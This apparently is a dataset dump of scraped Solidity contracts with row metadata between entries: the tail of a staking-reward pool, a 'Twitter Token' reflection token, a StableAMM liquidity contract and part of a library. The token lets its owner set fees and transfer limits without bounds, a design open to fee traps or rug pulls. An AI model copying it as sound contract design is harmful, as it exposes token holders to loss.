super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 249,609 | 10,952 |
0680f4be5a560d796353295d30a05ef9edcfd06e0e063a2fd6ad93fd4e9570c7
| 29,446 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/91/913337a5e1f834cae27518c21584b591007a4dea_TWITTER.sol
| 5,178 | 18,690 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TWITTER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 333 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Twitter Token';
string private constant _symbol = 'Twitter';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 333 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x1CF0fE29AB563113A41c218D488A58038b16f475, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 333,512 | 10,953 |
a235abf9ca4abdf12b84446ced2aa67508fc5c94b965bde421ccf8abdddfb6e9
| 17,336 |
.sol
|
Solidity
| false |
297580099
|
yficmoney/YFICSwap
|
6235bc92efe24ea50048298bf6ac3efb8a69f582
|
YFICStableAMMV.sol
| 4,382 | 17,139 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
constructor () internal {
_owner = _msgSender();
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ReentrancyGuard {
uint private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface AaveToken {
function underlyingAssetAddress() external returns (address);
}
interface Oracle {
function getPriceUSD(address reserve) external view returns (uint);
}
interface UniswapRouter {
function setRouter(address _router) external;
function setAMM(address _amm) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityImbalanced(address tokenA,
address tokenB,
uint amountA,
uint amountB,
address to,
uint deadline) external returns (uint, uint, uint);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function factory() external view returns (address);
function claim(address, address) external;
function redirectInterestStream(address, address) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract SupplyToken is ERC20, ERC20Detailed, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
constructor (string memory name,
string memory symbol,
uint8 decimals) public ERC20Detailed(name, symbol, decimals) {}
function mint(address account, uint amount) public onlyOwner {
_mint(account, amount);
}
function burn(address account, uint amount) public onlyOwner {
_burn(account, amount);
}
}
contract StableAMM is ERC20, ERC20Detailed, ReentrancyGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public link = address(0x5f0711c689Ed216f97D91126C112Ad585d1a7aba);
address public vault = address(0xb99a40fcE04cb740EB79fC04976CA15aF69AaaaE);
address public unirouter;
address public governance;
mapping (address => address) public tokens;
// Reward system
mapping (address => uint) public index;
mapping (address => uint) public bal;
mapping (address => mapping (address => uint)) public supplyIndex;
constructor (address router) public ERC20Detailed("AMM USD", "aUSD", 8) {
unirouter = router;
governance = msg.sender;
}
function setRouter(address router) external {
require(msg.sender == governance, "!governance");
unirouter = router;
}
function setLink(address _link) external {
require(msg.sender == governance, "!governance");
link = _link;
}
function setVault(address _vault) external {
require(msg.sender == governance, "!governance");
vault = _vault;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setFactoryRouter(address _router) external {
require(msg.sender == governance, "!governance");
UniswapRouter(unirouter).setRouter(_router);
}
function setRouterAMM(address _amm) external {
require(msg.sender == governance, "!governance");
UniswapRouter(unirouter).setAMM(_amm);
}
function claim(address pair, address token, uint value) external {
require(msg.sender == governance, "!governance");
UniswapRouter(unirouter).claim(pair, token);
IERC20(token).safeTransfer(vault, value);
}
function rewardInterest(address token) public {
address _uni = getUNI(token);
if (_uni != address(0)) {
if (IERC20(_uni).totalSupply() > 0) {
uint256 _bal = IERC20(token).balanceOf(address(this));
if (_bal > 0) {
uint256 _diff = _bal.sub(bal[token]);
if (_diff > 0) {
uint256 _ratio = _diff.mul(ERC20Detailed(_uni).decimals()).div(IERC20(_uni).totalSupply());
if (_ratio > 0) {
index[token] = index[token].add(_ratio);
bal[token] = _bal;
}
}
}
}
uint _supplied = IERC20(_uni).balanceOf(msg.sender);
if (_supplied > 0) {
uint256 _supplyIndex = supplyIndex[token][msg.sender];
supplyIndex[token][msg.sender] = index[token];
uint256 _delta = index[token].sub(_supplyIndex);
if (_delta > 0) {
uint256 _share = _supplied.mul(_delta).div(ERC20Detailed(_uni).decimals());
IERC20(token).safeTransfer(msg.sender, _share);
bal[token] = IERC20(token).balanceOf(address(this));
}
} else {
supplyIndex[token][msg.sender] = index[token];
}
}
}
function getUNI(address _token) public view returns (address) {
address pair = IUniswapV2Factory(UniswapRouter(unirouter).factory()).getPair(_token, address(this));
return tokens[pair];
}
function depositAave(address token, uint amount) external nonReentrant {
rewardInterest(token);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
address underlying = AaveToken(token).underlyingAssetAddress();
_deposit(token, underlying, amount);
rewardInterest(token);
}
function deposit(address token, uint amount) external nonReentrant {
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
_deposit(token, token, amount);
}
function _deposit(address token, address underlying, uint amount) internal {
uint value = Oracle(link).getPriceUSD(underlying).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals());
require(value > 0, "!value");
_mint(address(this), value); // Amount of aUSD to mint
IERC20(token).safeApprove(unirouter, 0);
IERC20(token).safeApprove(unirouter, amount);
IERC20(address(this)).safeApprove(unirouter, 0);
IERC20(address(this)).safeApprove(unirouter, value);
(,,uint liquidity) = UniswapRouter(unirouter).addLiquidityImbalanced(token,
address(this),
amount,
value,
address(this),
now.add(1800));
address pair = IUniswapV2Factory(UniswapRouter(unirouter).factory()).getPair(token, address(this));
require(pair != address(0), "!pair");
if (tokens[pair] == address(0)) {
tokens[pair] = address(new SupplyToken(string(abi.encodePacked(ERC20Detailed(token).symbol(), " ", ERC20Detailed(pair).name())),
string(abi.encodePacked(ERC20Detailed(token).symbol(), ERC20Detailed(pair).symbol())),
ERC20Detailed(pair).decimals()));
if (token != underlying) {
UniswapRouter(unirouter).redirectInterestStream(pair, token);
}
}
SupplyToken(tokens[pair]).mint(msg.sender, liquidity);
}
function withdrawAave(address token, uint amount) external nonReentrant {
rewardInterest(token);
(uint amountA, uint amountB) = _withdraw(token, amount);
address underlying = AaveToken(token).underlyingAssetAddress();
_return(token, underlying, amountA, amountB);
rewardInterest(token);
}
function withdraw(address token, uint amount) external nonReentrant {
(uint amountA, uint amountB) = _withdraw(token, amount);
_return(token, token, amountA, amountB);
}
function _withdraw(address token, uint amount) internal returns (uint amountA, uint amountB) {
address pair = IUniswapV2Factory(UniswapRouter(unirouter).factory()).getPair(token, address(this));
SupplyToken(tokens[pair]).burn(msg.sender, amount);
IERC20(pair).safeApprove(unirouter, 0);
IERC20(pair).safeApprove(unirouter, amount);
(amountA, amountB) = UniswapRouter(unirouter).removeLiquidity(token,
address(this),
amount,
0,
0,
address(this),
now.add(1800));
}
function _return(address token, address underlying, uint amountA, uint amountB) internal {
uint valueA = Oracle(link).getPriceUSD(underlying).mul(amountA).div(uint256(10)**ERC20Detailed(token).decimals());
require(valueA > 0, "!value");
if (valueA > amountB) {
amountA = amountA.mul(amountB).div(valueA);
valueA = amountB;
}
_burn(address(this), valueA); // Amount of aUSD to burn (value of A leaving the system)
IERC20(token).safeTransfer(msg.sender, amountA);
if (amountB > valueA) {
IERC20(address(this)).transfer(msg.sender, amountB.sub(valueA));
}
}
}
| 160,304 | 10,954 |
9608252e67a2f75c2717455b54c23cdb77acabd71bfaa2e1ac7148acb0087b64
| 29,673 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xB10dd30d1157C6Dd60090Fe5EfD84770C3A895D0/contract.sol
| 3,392 | 12,615 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
